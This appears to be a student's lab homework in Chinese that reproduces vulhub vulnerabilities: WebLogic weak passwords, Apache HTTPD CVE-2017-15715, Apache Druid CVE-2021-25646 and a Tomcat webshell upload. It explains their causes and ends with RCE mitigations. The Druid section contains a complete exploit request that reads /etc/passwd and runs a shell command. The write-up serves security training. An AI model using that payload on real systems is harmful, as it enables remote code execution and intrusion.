一,在vps安装docker和docker-compose
远程连接vps
安装docker
安装dockers-compose
搭建vulhub
二,上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
1.weblogic 弱口令/任意文件读取
登录网站
打开管理后台
获取passwd
获取密文
破解后登录
2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
3.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
替换请求包
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
4.tomcat 弱口令/后台文件上传getshell
默认密码登陆
上传shell.jsp
连接访问
漏洞成因:
1. Tomcat 7+ Weak Password & Backend Getshell Vulnerability
成因:
弱密码:Tomcat 7+ 管理后台默认情况下未启用强密码策略,这导致用户可以使用弱密码甚至是默认密码访问管理控制台。如果攻击者猜测到这些弱密码,就可以轻松地登录到管理界面。
后台Getshell:一旦攻击者获得了管理权限,他们可以通过上传恶意的Webshell到服务器上来获得对服务器的完全控制,执行任意命令。
2. Weblogic 常规渗透测试环境
成因:
安全配置缺失:Weblogic 默认配置中可能存在一些没有加固的弱点,例如过于开放的服务端口、缺少访问控制、调试模式启用等。
历史漏洞:Weblogic 作为一款复杂的企业级应用服务器,历史上曾出现过多个高危漏洞,如果未及时更新或修补,攻击者可以利用这些漏洞进行渗透。
组件漏洞:Weblogic 依赖的第三方组件如果存在漏洞,也可能被攻击者利用来进行渗透。
3. Apache HTTPD 换行解析漏洞(CVE-2017-15715)
成因:
HTTP请求解析问题:此漏洞是由于Apache HTTP服务器在解析HTTP请求头时没有正确处理特殊的换行符导致的。攻击者可以构造特殊的HTTP请求,其中包含在请求路径中的换行符,绕过访问控制机制。
路径解析绕过:这种解析错误可能导致服务器对特定路径的访问控制失效,使得攻击者可以访问到原本受保护的文件或目录。
4. Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
成因:
不安全的默认配置:Apache Druid 中的嵌入式JavaScript功能默认情况下是启用的,而这个功能允许执行未经过滤的用户输入,导致了远程代码执行的可能性。
代码注入:攻击者可以通过恶意构造的请求,注入并执行任意的JavaScript代码,从而完全控制目标服务器。
三. 总结RCE漏洞的原理和利用条件及解决方案
原理
输入未验证:应用程序接收用户输入并将其直接用于执行命令或脚本,而没有对输入进行充分的验证或过滤。
代码注入:用户输入被直接嵌入到系统命令、数据库查询、脚本语言或其他可执行环境中。
第三方库或组件的漏洞:应用程序依赖的某些第三方库、框架或组件中存在漏洞,允许恶意输入触发远程代码执行。
利用条件
攻击向量:攻击者需要能够向应用程序发送恶意输入,如通过Web表单、API接口或其他网络入口点。
代码注入:目标应用程序需要存在允许注入代码的点,且注入的代码能够执行(如shell命令、脚本)。
权限提升:在某些情况下,成功执行的代码可能需要提升权限,以便完成更恶意的操作。
解决方案
输入验证与过滤:对所有用户输入进行严格的验证和过滤,防止恶意代码注入。可以使用白名单验证,只允许合法的输入值。
使用参数化接口:在执行系统命令或数据库查询时,使用参数化的API接口而不是直接拼接字符串,防止代码注入。
最小权限原则:应用程序应尽量以最低权限运行,减少代码执行时对系统的影响。
更新和补丁:及时更新和修补依赖的第三方库、框架和组件,以修复已知的RCE漏洞。
代码审计和安全测试:定期进行代码审计和安全测试(如渗透测试),发现和修复潜在的安全漏洞。